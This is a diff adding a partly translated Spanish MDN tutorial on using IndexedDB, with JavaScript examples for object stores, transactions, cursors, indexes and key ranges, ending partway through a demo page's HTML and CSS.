+<p>Blink / Webkit soportan la versión actual de la especificación, tal como fue liberado en Chrome 23+ y Opera 17+ ; IE10+ también lo soporta. Implementaciones mas viejas o distintas no implementan la versión actual de la especificación, y por lo tanto no son compatibles todavía con el <code>indexedDB.open (nombre, versión).onupgradeneeded</code> . Para obtener más información sobre cómo actualizar la versión de la base de datos en Webkit/Blink mas viejos, consulte el artículo de referencia <a href="/es/docs/Web/API/IDBDatabase" title="https://developer.mozilla.org/en/IndexedDB/IDBDatabase#setVersion()_.0A.0ADeprecated">IDBDatabase</a>.</p>
+
+<h3 id="Estructuración_de_la_base_de_datos">Estructuración de la base de datos</h3>
+
+<p>Ahora para estructurar la base de datos. IndexedDB usa almacenes de datos (object stores) en lugar de tablas, y una base de datos puede contener cualquier número de almacenes. Cuando un valor es almacenado, se le asocia con una clave. Existen diversas maneras en que una clave pude ser indicada dependiendo de si el almacén usa una <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_keypath">ruta de clave</a> o <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_keygenerator">generador</a>.</p>
+
+<p>La siguiente table muetra las distintas formas en que las claves pueden ser indicadas:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Ruta de clave(<code>keyPath</code>)</th>
+   <th scope="col">Generador de clave (<code>autoIncrement</code>)</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>No</td>
+   <td>No</td>
+   <td>Este almacén puede contener cualquier tipo de valor, incluso valores primitivos como números y cadenas. Se debe indicar un argumento de clave distinto cada vez que se agregue un nuevo valor.</td>
+  </tr>
+  <tr>
+   <td>Si</td>
+   <td>No</td>
+   <td>Este almacén de objetos solo puede contener objetos de JavaScript. Los objetos deben tener una propiedad con el mismo nombre que la ruta de clave.</td>
+  </tr>
+  <tr>
+   <td>No</td>
+   <td>Si</td>
+   <td>Este objeto puede contener cualquier tipo de valor. La clave es generada automáticamente, o se puede indicar un argumento de clave distinto si se quiere usar una clave específica.</td>
+  </tr>
+  <tr>
+   <td>Si</td>
+   <td>Si</td>
+   <td>
+    <p>Este almacén de objetos solo puede contener objetos de JavaScript. Usualmente una clave es generada y dicho valor es almacenado en el objeto en una propiedad con el mismo nombre que la ruta de clave. Sin embargo, si dicha propiedad ya existe en el objeto, el valor de esa propuiedad es usado como clave en lugar de generar una nueva.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>También se puede crear índices en cualquer almacén de objetos, siempre y cuando el almacén contenga objets, y no primitivos. Un índice permite buscar valores contenidos en el almacén usando el valor de una propiedad del objeto almacenado, en lugar de la clave del mismo.</p>
+
+<p>Adicionalmente, los índices tienen la habilidad para hacer cumplir restricciones simples en los datos almacendos. Al indicar la bandera <code>unique</code> al crear el índice, el índice asegurará que no se puedan almacenar dos objetos que tengan el mismo valor para la clave del índice. Así, por ejemplo si se tiene un almacén de objetos que contiene un set de personas, y se desea asegurar que no existan dos personas con el mismo email, se puede usar un índice con la bandera <code>unique</code> activada para forzar esto.</p>
+
+<p>Esto puede sonar confuso, pero un ejemplo simple debe ilustrar el concepto. Primero, definiremos alguna información de clientes para usar en nuestro ejemplo:</p>
+
+<pre class="brush: js">// Así se ve nuestra información de clientes.
+const customerData = [
+  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];
+</pre>
+
+<p>Ahora, creemos una IndexedDB para almacenar los datos:</p>
+
+<pre class="brush: js">const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+  // Manejar errores.
+};
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Se crea un almacén para contener la información de nuestros cliente
+  // Se usará "ssn" como clave ya que es garantizado que es única
+  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+  // Se crea un índice para buscar clientes por nombre. Se podrían tener duplicados
+  // por lo que no se puede usar un índice único.
+  objectStore.createIndex("name", "name", { unique: false });
+
+  // Se crea un índice para buscar clientespor email. Se quiere asegurar que
+  // no puedan haberdos clientes con el mismo email, asi que se usa un índice único.
+  objectStore.createIndex("email", "email", { unique: true });
+
+  // Se usa transaction.oncomplete para asegurarse que la creación del almacén
+  // haya finalizado antes de añadir los datos en el.
+  objectStore.transaction.oncomplete = function(event) {
+    // Guarda los datos en el almacén recién creado.
+    var customerObjectStore = db.transaction("customers", "readwrite").objectStore("customers");
+    for (var i in customerData) {
+      customerObjectStore.add(customerData[i]);
+    }
+  }
+};
+</pre>
+
+<p>Como se indicó previamente, <code>onupgradeneeded</code> es el único lugar donde se puede alterar la estructura de la base de datos. En el, se puede crear y borrar almacenes de objetos y construir y remover índices.</p>
+
+<div>Los almacenes de datos son creados con una llamada a  <code>createObjectStore()</code>. El método toma como parámetros el nombre del almacén y un objeto.  A pesar de que el segundo parámetro es opcional, es muy importante, porque permite definir propiedades opcionales importantes y refinar el tipo de almacén que se desea crear. En este caso, se pregunta por un almacén llamado "customers" y se define la clave, que es la propiedad que indica que un objeto en el almacén es único. La propiedad en este ejemplo es "ssn" (Social Security Number) ya que los números de seguridad social está garantizado que sea único. "ssn" debe estar presente en cada objeto que se guarda al almacén.</div>
+
+<p>También se solicitó crear un índice llamado "name" que se fija en la propiedad <code>name </code>de los objetos almacenados. Así como con <code>createObjectStore()</code>, <code>createIndex()</code> toma un objeto opcional <code>options</code> que refina el tipo de índice que se desea crear. Agregar objetos que no tengan una propiedad <code>name</code> funcionará, pero los objetos no aparecerán en el índice "name"</p>
+
+<div>Ahora se pueden obtener los clientes almacenados usando su <code>ssn</code> directamente del almacen, o usando su nombre a través del índice. Para aprender como hacer esto, vea la sección <a href="#El_uso_de_un_índice">El uso de un índice</a></div>
+
+<h3 id="El_uso_de_un_generador_de_claves">El uso de un generador de claves</h3>
+
+<p>Indicar la bandera <code>autoIncrement </code> cuando se crea el almacén habilitará el generador de claves para dicho almacén. Por defecto esta bandera no está marcada.</p>
+
+<p>Con el generador de claves, la clave será generada automáticamente a medida que se agreguen valores al almacén. El número actual de un generador de claves siempre se establece en 1 cuando se creal el almacén por primera vez. Básicamente la nueva clave autogenerada es incrementada en 1 basada en la llave anterior. El numero actual para un generador de claves nunca disminuye, salvo como resultado de operaciones de base de datos  que sean revertidos, por ejemplo, cuando la transacción de base de datos es abortada. Por lo tanto borrar un registro o incluso borrar todos los registros de un almacén nunca afecta al generador de claves</p>
+
+<p>Se puede crear otro almacén de objetos con generador de claves como se muestra abajo:</p>
+
+<pre class="brush: js">// Abrir la indexedDB.
+var request = indexedDB.open(dbName, 3);
+
+request.onupgradeneeded = function (event) {
+
+    var db = event.target.result;
+
+    // Create another object store called "names" with the autoIncrement flag set as true.
+    var objStore = db.createObjectStore("names", { autoIncrement : true });
+
+    // Because the "names" object store has the key generator, the key for the name value is generated automatically.
+    // The added records would be like:
+    // key : 1 =&gt; value : "Bill"
+    // key : 2 =&gt; value : "Donna"
+    for (var i in customerData) {
+        objStore.add(customerData[i].name);
+    }
+}</pre>
+
+<p>Para más detalles acerca del generador de claves, por favor ver <a href="http://www.w3.org/TR/IndexedDB/#key-generator-concept">"W3C Key Generators"</a>.</p>
+
+<h2 id="Añadir_recuperación_y_eliminación_de_datos">Añadir, recuperación y eliminación de datos</h2>
+
+<p>Antes que haga algo con su nueva base de datos , necesita comenzar una transacción. Transactions come from the database object, and you have to specify which object stores you want the transaction to span. Once you are inside the transaction, you can access the object stores that hold your data and make your requests. Next, you need to decide if you're going to make changes to the database or if you just need to read from it. Transactions have three available modes: <code>readonly</code>, <code>readwrite</code>, and <code>versionchange</code>.</p>
+
+<p>To change the "schema" or structure of the database—which involves creating or deleting object stores or indexes—the transaction must be in <code>versionchange</code> mode. This transaction is opened by calling the {{domxref("IDBFactory.open")}} method with a <code>version</code> specified. (In WebKit browsers, which have not implemented the latest specifcation, the {{domxref("IDBFactory.open")}} method takes only one parameter, the <code>name</code> of the database; then you must call {{domxref("IDBVersionChangeRequest.setVersion")}} to establish the <code>versionchange</code> transaction.)</p>
+
+<p>To read the records of an existing object store, the transaction can either be in <code>readonly</code> or <code>readwrite</code> mode. To make changes to an existing object store, the transaction must be in <code>readwrite</code> mode. You open such transactions with {{domxref("IDBDatabase.transaction")}}. The method accepts two parameters: the <code>storeNames</code> (the scope, defined as an array of object stores that you want to access) and the <code>mode</code> (<code>readonly</code> or <code>readwrite</code>) for the transaction. The method returns a transaction object containing the {{domxref("IDBIndex.objectStore")}} method, which you can use to access your object store. By default, where no mode is specified, transactions open in <code>readonly</code> mode.</p>
+
+<p>You can speed up data access by using the right scope and mode in the transaction. Here are a couple of tips:</p>
+
+<ul>
+ <li>When defining the scope, specify only the object stores you need. This way, you can run multiple transactions with non-overlapping scopes concurrently.</li>
+ <li>Only specify a <code>readwrite</code> transaction mode when necessary. You can concurrently run multiple <code>readonly</code> transactions with overlapping scopes, but you can have only one <code>readwrite</code> transaction for an object store. To learn more, see the definition for <dfn><a href="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#Database">transactions</a></dfn> in the <a href="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB">Basic Concepts</a> article.</li>
+</ul>
+
+<h3 id="Agregar_datos_a_la_base_de_datos">Agregar datos a la base de datos</h3>
+
+<p>If you've just created a database, then you probably want to write to it. Here's what that looks like:</p>
+
+<pre class="brush:js;">var transaction = db.transaction(["customers"], "readwrite");
+// Note: Older experimental implementations use the deprecated constant IDBTransaction.READ_WRITE instead of "readwrite".
+// In case you want to support such an implementation, you can write:
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);</pre>
+
+<p>The <code>transaction()</code> function takes two arguments (though one is optional) and returns a transaction object. The first argument is a list of object stores that the transaction will span. You can pass an empty array if you want the transaction to span all object stores, but don't do it because the spec says an empty array should generate an InvalidAccessError. If you don't specify anything for the second argument, you get a read-only transaction. Since you want to write to it here you need to pass the <code>"readwrite"</code> flag.</p>
+
+<p>Now that you have a transaction you need to understand its lifetime. Transactions are tied very closely to the event loop. If you make a transaction and return to the event loop without using it then the transaction will become inactive. The only way to keep the transaction active is to make a request on it. When the request is finished you'll get a DOM event and, assuming that the request succeeded, you'll have another opportunity to extend the transaction during that callback. If you return to the event loop without extending the transaction then it will become inactive, and so on. As long as there are pending requests the transaction remains active. Transaction lifetimes are really very simple but it might take a little time to get used to. A few more examples will help, too. If you start seeing <code>TRANSACTION_INACTIVE_ERR</code> error codes then you've messed something up.</p>
+
+<p>Transactions can receive DOM events of three different types: <code>error</code>, <code>abort</code>, and <code>complete</code>. We've talked about the way that <code>error</code> events bubble, so a transaction receives error events from any requests that are generated from it. A more subtle point here is that the default behavior of an error is to abort the transaction in which it occurred. Unless you handle the error by first calling <code>preventDefault()</code> on the error event then doing something else, the entire transaction is rolled back. This design forces you to think about and handle errors, but you can always add a catchall error handler to the database if fine-grained error handling is too cumbersome. If you don't handle an error event or if you call <code>abort()</code> on the transaction, then the transaction is rolled back and an <code>abort</code> event is fired on the transaction. Otherwise, after all pending requests have completed, you'll get a <code>complete</code> event. If you're doing lots of database operations, then tracking the transaction rather than individual requests can certainly aid your sanity.</p>
+
+<p>Now that you have a transaction, you'll need to get the object store from it. Transactions only let you have an object store that you specified when creating the transaction. Then you can add all the data you need.</p>
+
+<pre class="brush: js">// Do something when all the data is added to the database.
+transaction.oncomplete = function(event) {
+  alert("All done!");
+};
+
+transaction.onerror = function(event) {
+  // Don't forget to handle errors!
+};
+
+var objectStore = transaction.objectStore("customers");
+for (var i in customerData) {
+  var request = objectStore.add(customerData[i]);
+  request.onsuccess = function(event) {
+    // event.target.result == customerData[i].ssn;
+  };
+}</pre>
+
+<p>The <code>result</code> of a request generated from a call to <code>add()</code> is the key of the value that was added. So in this case, it should equal the <code>ssn</code> property of the object that was added, since the object store uses the <code>ssn</code> property for the key path. Note that the <code>add()</code> function requires that no object already be in the database with the same key. If you're trying to modify an existing entry, or you don't care if one exists already, you can use the <code>put()</code> function, as shown below in the {{ anch("Updating an entry in the database") }} section.</p>
+
+<h3 id="Extracción_de_datos_de_la_base_de_datos">Extracción de datos de la base de datos</h3>
+
+<p>Removing data is very similar:</p>
+
+<pre class="brush: js">var request = db.transaction(["customers"], "readwrite")
+                .objectStore("customers")
+                .delete("444-44-4444");
+request.onsuccess = function(event) {
+  // It's gone!
+};</pre>
+
+<h3 id="Obtener_datos_de_la_base_de_datos">Obtener datos de la base de datos</h3>
+
+<p>Now that the database has some info in it, you can retrieve it in several ways. First, the simple <code>get()</code>. You need to provide the key to retrieve the value, like so:</p>
+
+<pre class="brush: js">var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Do something with the request.result!
+  alert("Name for SSN 444-44-4444 is " + request.result.name);
+};</pre>
+
+<p>That's a lot of code for a "simple" retrieval. Here's how you can shorten it up a bit, assuming that you handle errors at the database level:</p>
+
+<pre class="brush: js">db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};</pre>
+
+<p>See how this works? Since there's only one object store, you can avoid passing a list of object stores you need in your transaction and just pass the name as a string. Also, you're only reading from the database, so you don't need a <code>"readwrite"</code> transaction. Calling <code>transaction()</code> with no mode specified gives you a <code>"readonly"</code> transaction. Another subtlety here is that you don't actually save the request object to a variable. Since the DOM event has the request as its target you can use the event to get to the <code>result</code> property.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can speed up data access by limiting the scope and mode in the transaction. Here are a couple of tips:</p>
+
+<ul>
+ <li>
+  <p>When defining the <a href="#scope">scope</a>, specify only the object stores you need. This way, you can run multiple transactions with non-overlapping scopes concurrently.</p>
+ </li>
+ <li>
+  <p>Only specify a <code>readwrite</code> transaction mode when necessary. You can concurrently run multiple <code>readonly</code> transactions with overlapping scopes, but you can have only one <code>readwrite</code> transaction for an object store. To learn more, see the definition for <a href="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_transaction"><dfn>transactions</dfn> in the Basic Concepts article</a>.</p>
+ </li>
+</ul>
+</div>
+
+<h3 id="Actualización_de_una_entrada_en_la_base_de_datos">Actualización de una entrada en la base de datos</h3>
+
+<p>Now we've retrieved some data, updating it and inserting it back into the IndexedDB is pretty simple. Let's update the previous example somewhat:</p>
+
+<pre class="brush: js">var objectStore = db.transaction(["customers"], "readwrite").objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Get the old value that we want to update
+  var data = request.result;
+
+  // update the value(s) in the object that you want to change
+  data.age = 42;
+
+  // Put this updated object back into the database.
+  var requestUpdate = objectStore.put(data);
+   requestUpdate.onerror = function(event) {
+     // Do something with the error
+   };
+   requestUpdate.onsuccess = function(event) {
+     // Success - the data is updated!
+   };
+};</pre>
+
+<p>So here we're creating an <code>objectStore</code> and requesting a customer record out of it, identified by its ssn value (<code>444-44-4444</code>). We then put the result of that request in a variable (<code>data</code>), update the <code>age</code> property of this object, then create a second request (<code>requestUpdate</code>) to put the customer record back into the <code>objectStore</code>, overwriting the previous value.</p>
+
+<div class="note">
+<p><strong>Note</strong> that in this case we've had to specify a <code>readwrite</code> transaction because we want to write to the database, not just read out of it.</p>
+</div>
+
+<h3 id="El_uso_de_un_cursor">El uso de un cursor</h3>
+
+<p>Using <code>get()</code> requires that you know which key you want to retrieve. If you want to step through all the values in your object store, then you can use a cursor. Here's what it looks like:</p>
+
+<pre class="brush: js">var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+    cursor.continue();
+  }
+  else {
+    alert("No more entries!");
+  }
+};</pre>
+
+<p>The<code> openCursor()</code> function takes several arguments. First, you can limit the range of items that are retrieved by using a key range object that we'll get to in a minute. Second, you can specify the direction that you want to iterate. In the above example, we're iterating over all objects in ascending order. The success callback for cursors is a little special. The cursor object itself is the <code>result</code> of the request (above we're using the shorthand, so it's <code>event.target.result</code>). Then the actual key and value can be found on the <code>key</code> and <code>value</code> properties of the cursor object. If you want to keep going, then you have to call <code>continue()</code> on the cursor. When you've reached the end of the data (or if there were no entries that matched your <code>openCursor()</code> request) you still get a success callback, but the <code>result</code> property is <code>undefined</code>.</p>
+
+<p>One common pattern with cursors is to retrieve all objects in an object store and add them to an array, like this:</p>
+
+<pre class="brush: js">var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    customers.push(cursor.value);
+    cursor.continue();
+  }
+  else {
+    alert("Got all customers: " + customers);
+  }
+};</pre>
+
+<div class="note">
+<p>Note: Mozilla has also implemented <code>getAll()</code> to handle this case (and <code>getAllKeys()</code>, which is currently hidden behind the <code>dom.indexedDB.experimental</code> preference in about:config). these aren't part of the IndexedDB standard, so may disappear in the future. We've included them because we think they're useful. The following code does precisely the same thing as above:</p>
+
+<pre class="brush: js">objectStore.getAll().onsuccess = function(event) {
+  alert("Got all customers: " + event.target.result);
+};</pre>
+
+<p>There is a performance cost associated with looking at the <code>value</code> property of a cursor, because the object is created lazily. When you use <code>getAll()</code> for example, Gecko must create all the objects at once. If you're just interested in looking at each of the keys, for instance, it is much more efficient to use a cursor than to use <code>getAll()</code>. If you're trying to get an array of all the objects in an object store, though, use <code>getAll()</code>.</p>
+</div>
+
+<h3 id="El_uso_de_un_índice">El uso de un índice</h3>
+
+<p>Storing customer data using the SSN as a key is logical since the SSN uniquely identifies an individual. (Whether this is a good idea for privacy is a different question, and outside the scope of this article.) If you need to look up a customer by name, however, you'll need to iterate over every SSN in the database until you find the right one. Searching in this fashion would be very slow, so instead you can use an index.</p>
+
+<pre class="brush: js">var index = objectStore.index("name");
+index.get("Donna").onsuccess = function(event) {
+  alert("Donna's SSN is " + event.target.result.ssn);
+};</pre>
+
+<p>The "name" cursor isn't unique, so there could be more than one entry with the <code>name</code> set to <code>"Donna"</code>. In that case you always get the one with the lowest key value.</p>
+
+<p>If you need to access all the entries with a given <code>name</code> you can use a cursor. You can open two different types of cursors on indexes. A normal cursor maps the index property to the object in the object store. A key cursor maps the index property to the key used to store the object in the object store. The differences are illustrated here:</p>
+
+<pre class="brush: js">// Using a normal cursor to grab whole customer record objects
+index.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the whole object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    cursor.continue();
+  }
+};
+
+// Using a key cursor to grab customer record object keys
+index.openKeyCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the SSN.
+    // No way to directly get the rest of the stored object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value);
+    cursor.continue();
+  }
+};</pre>
+
+<h3 id="Especificación_de_la_gama_y_la_dirección_de_los_cursores">Especificación de la gama y la dirección de los cursores</h3>
+
+<p>If you would like to limit the range of values you see in a cursor, you can use an <code>IDBKeyRange</code> object and pass it as the first argument to <code>openCursor()</code> or <code>openKeyCursor()</code>. You can make a key range that only allows a single key, or one that has a lower or upper bound, or one that has both a lower and upper bound. The bound may be "closed" (i.e., the key range includes the given value(s)) or "open" (i.e., the key range does not include the given value(s)). Here's how it works:</p>
+
+<pre class="brush: js">// Only match "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// Match anything past "Bill", including "Bill"
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// Match anything past "Bill", but don't include "Bill"
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// Match anything up to, but not including, "Donna"
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+// Match anything between "Bill" and "Donna", but not including "Donna"
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+// To use one of the key ranges, pass it in as the first argument of openCursor()/openKeyCursor()
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the matches.
+    cursor.continue();
+  }
+};</pre>
+
+<p>Sometimes you may want to iterate in descending order rather than in ascending order (the default direction for all cursors). Switching direction is accomplished by passing <code>prev</code> to the <code>openCursor()</code> function as the second argument:</p>
+
+<pre class="brush: js">objectStore.openCursor(boundKeyRange, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</pre>
+
+<p>If you just want to specify a change of direction but not constrain the results shown, you can just pass in null as the first argument:</p>
+
+<pre class="brush: js">objectStore.openCursor(null, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</pre>
+
+<p>Since the "name" index isn't unique, there might be multiple entries where <code>name</code> is the same. Note that such a situation cannot occur with object stores since the key must always be unique. If you wish to filter out duplicates during cursor iteration over indexes, you can pass <code>nextunique</code> (or <code>prevunique</code> if you're going backwards) as the direction parameter. When <code>nextunique</code> or <code>prevunique</code> is used, the entry with the lowest key is always the one returned.</p>
+
+<pre class="brush: js">index.openKeyCursor(null, "nextunique").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</pre>
+
+<p>Please see "<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBCursor?redirectlocale=en-US&amp;redirectslug=IndexedDB%2FIDBCursor#Constants">IDBCursor Constants</a>" for the valid direction arguments.</p>
+
+<h2 id="Cambios_Versión_mientras_que_una_aplicación_web_está_abierto_en_otra_pestaña">Cambios Versión mientras que una aplicación web está abierto en otra pestaña</h2>
+
+<p>When your web app changes in such a way that a version change is required for your database, you need to consider what happens if the user has the old version of your app open in one tab and then loads the new version of your app in another. When you call <code>open()</code> with a greater version than the actual version of the database, all other open databases must explicitly acknowledge the request before you can start making changes to the database (an <code>onblocked</code> event is fired until tey are closed or reloaded). Here's how it works:</p>
+
+<pre class="brush: js">var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+  // If some other tab is loaded with the database, then it needs to be closed
+  // before we can proceed.
+  alert("Please close all other tabs with this site open!");
+};
+
+openReq.onupgradeneeded = function(event) {
+  // All other databases have been closed. Set everything up.
+  db.createObjectStore(/* ... */);
+  useDatabase(db);
+}
+
+openReq.onsuccess = function(event) {
+  var db = event.target.result;
+  useDatabase(db);
+  return;
+}
+
+function useDatabase(db) {
+  // Make sure to add a handler to be notified if another page requests a version
+  // change. We must close the database. This allows the other page to upgrade the database.
+  // If you don't do this then the upgrade won't happen until the user closes the tab.
+  db.onversionchange = function(event) {
+    db.close();
+    alert("A new version of this page is ready. Please reload!");
+  };
+
+  // Do stuff with the database.
+}
+</pre>
+
+<h2 id="Seguridad">Seguridad</h2>
+
+<p>IndexedDB uses the same-origin principle, which means that it ties the store to the origin of the site that creates it (typically, this is the site domain or subdomain), so it cannot be accessed by any other origin.</p>
+
+<p>It's important to note that IndexedDB doesn't work for content loaded into a frame from another site (either {{ HTMLElement("frame") }} or {{ HTMLElement("iframe") }}. This is a security and privacy measure and can be considered analogous the blocking of third-party cookies. For more details, see {{ bug(595307) }}.</p>
+
+<h2 id="Warning_About_Browser_Shutdown">Warning About Browser Shutdown</h2>
+
+<p>When the browser shuts down (e.g., when the user selects Exit or clicks the Close button), any pending IndexedDB transactions are (silently) aborted — they will not complete, and they will not trigger the error handler. Since the user can exit the browser at any time, this means that you cannot rely upon any particular transaction to complete or to know that it did not complete. There are several implications of this behavior.</p>
+
+<p>First, you should take care to always leave your database in a consistent state at the end of every transaction. For example, suppose that you are using IndexedDB to store a list of items that you allow the user to edit. You save the list after the edit by clearing the object store and then writing out the new list. If you clear the object store in one transaction and write the new list in another transaction, there is a danger that the browser will close after the clear but before the write, leaving you with an empty database. To avoid this, you should combine the clear and the write into a single transaction. </p>
+
+<p>Second, you should never tie database transactions to unload events. If the unload event is triggered by the browser closing, any transactions created in the unload event handler will never complete. An intuitive approach to maintaining some information across browser sessions is to read it from the database when the browser (or a particular page) is opened, update it as the user interacts with the browser, and then save it to the database when the browser (or page) closes. However, this will not work. The database transactions will be created in the unload event handler, but because they are asynchronous they will be aborted before they can execute.</p>
+
+<p>In fact, there is no way to guarantee that IndexedDB transactions will complete, even with normal browser shutdown. See {{ bug(870645) }}.</p>
+
+<h2 id="Full_IndexedDB_example" name="Full_IndexedDB_example">Full IndexedDB example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"&gt;&lt;/script&gt;
+
+    &lt;h1&gt;IndexedDB Demo: storing blobs, e-publication example&lt;/h1&gt;
+    &lt;div class="note"&gt;
+      &lt;p&gt;
+        Works and tested with:
+      &lt;/p&gt;
+      &lt;div id="compat"&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div id="msg"&gt;
+    &lt;/div&gt;
+
+    &lt;form id="register-form"&gt;
+      &lt;table&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-title" class="required"&gt;
+                Title:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-title" name="pub-title" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-biblioid" class="required"&gt;
+                Bibliographic ID:&lt;br/&gt;
+                &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-biblioid" name="pub-biblioid"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-year"&gt;
+                Year:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="number" id="pub-year" name="pub-year" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-file"&gt;
+                File image:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="file" id="pub-file"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-file-url"&gt;
+                Online-file image URL:&lt;br/&gt;
+                &lt;span class="note"&gt;(same origin URL)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-file-url" name="pub-file-url"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+      &lt;/table&gt;
+
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="add-button" value="Add Publication" /&gt;
+        &lt;input type="reset" id="register-form-reset"/&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;form id="delete-form"&gt;
+      &lt;table&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-biblioid-to-delete"&gt;
+                Bibliographic ID:&lt;br/&gt;
+                &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-biblioid-to-delete"
+                     name="pub-biblioid-to-delete" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="key-to-delete"&gt;
+                Key:&lt;br/&gt;
+                &lt;span class="note"&gt;(for example 1, 2, 3, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="key-to-delete"
+                     name="key-to-delete" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+      &lt;/table&gt;
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="delete-button" value="Delete Publication" /&gt;
+        &lt;input type="button" id="clear-store-button"
+               value="Clear the whole store" class="destructive" /&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;form id="search-form"&gt;
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="search-list-button"
+               value="List database content" /&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;div&gt;
+      &lt;div id="pub-msg"&gt;
+      &lt;/div&gt;
+      &lt;div id="pub-viewer"&gt;
+      &lt;/div&gt;
+      &lt;ul id="pub-list"&gt;
+      &lt;/ul&gt;
+    &lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">body {
+  font-size: 0.8em;
+  font-family: Sans-Serif;
+}
+
+form {
+  background-color: #cccccc;
+  border-radius: 0.3em;
+  display: inline-block;
+  margin-bottom: 0.5em;
+  padding: 1em;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+input {
+  padding: 0.3em;
+  border-color: #cccccc;
